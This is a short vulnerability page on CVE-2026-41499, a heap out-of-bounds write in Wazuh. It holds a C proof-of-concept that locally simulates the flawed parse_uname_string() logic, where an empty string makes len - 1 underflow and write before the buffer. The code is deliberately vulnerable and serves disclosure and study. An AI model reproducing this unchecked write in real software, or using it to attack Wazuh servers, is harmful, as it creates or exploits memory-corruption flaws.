CVE-2026-41499 Wazuh堆越界写入漏洞

#include <stdio.h> #include <string.h> #include <stdlib.h> // PoC simulation of the vulnerable logic in Wazuh parse_uname_string() void trigger_vulnerability(char* input_string) { char* buffer = (char*)malloc(256); if (!buffer) return; printf("[+] Allocating buffer at: %p\n", buffer); // Vulnerable logic pattern found in remoted_op.c size_t len = strlen(input_string); printf("[+] Input string length: %zu\n", len); // If input_string is "", len is 0. // len - 1 becomes SIZE_MAX (unsigned integer underflow). // This writes to buffer[-1], corrupting heap metadata. buffer[len - 1] = 'X'; printf("[+] Write operation completed.\n"); free(buffer); // Likely to crash here due to heap corruption } int main() { printf("PoC for CVE-2026-41499: Wazuh Heap Overflow\n"); printf("Triggering the vulnerability with an empty string...\n"); // Sending an empty string triggers the underflow trigger_vulnerability(""); return 0; }